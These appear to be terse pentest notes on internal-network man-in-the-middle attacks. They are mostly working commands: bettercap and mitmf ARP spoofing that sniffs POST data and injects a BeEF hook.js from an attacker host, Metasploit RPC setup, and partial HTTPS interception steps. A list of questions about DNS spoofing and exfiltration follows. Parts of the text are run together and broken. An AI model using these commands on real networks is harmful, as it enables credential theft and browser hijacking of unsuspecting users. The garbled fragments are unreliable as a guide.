sniffer (ICMP/ARP)
bettercap -I enp0s31f6 -T 172.16.10.232 -S ARP -X --sniffer --proxy -P POST --log-timestamp --log /root/Desktop/232 --silent
hook.js and msfconsole
beef
vim config.yamlvim extensions/metasploit/config.yamlmetasploit
load msgrpc ServerHost=172.16.10.222 Pass=abc123 SSL=yIf you skip SSL, just make sure
ssl_vertifyis set to false in the beef config file.start beef
Inject js
bettercap -I enp0s31f6 -T 172.16.10.246 -S ARP -X --sniffer --proxy -P POST --proxy --proxy-module injectjs --js-url http://172.16.10.222:3000/hook.jsCheck help:
bettercap --proxy-module injectjs -h
I tried mitmf for a bit — honestly not as smooth as bettercap. Here’s the mitmf way:
python mitmf.py -i enp0s31f6 --arp --spoof --target 172.16.10.246 --gateway 172.16.10.1 --hsts --inject --js-url http://172.16.10.222:3000/hook.jsIf there’s a port conflict, edit
mitmf.confin the config directory. Both tools need root.
HTTPS MITM
apt-get install libssl-dev libevent-dev
openssl genrsa -out ca.key 2048 |
echo 1 > /proc/sys/net/ipv4/ip_forward |
arpspoof -i eth0 -t target -r gateway |
- What are the different DNS spoofing techniques?
- Besides DNS, what other MITM attack vectors are there?
- How does DNS data exfiltration work, and what tools support it?
- How do you defend against sniffing and data leakage on an internal network?
- How do you use bettercap’s proxy modules?
- What’s the actual difference between sslsplit and sslstrip under the hood?
- What other internal network attack methods are out there?
- How does this compare to tools like mitmproxy?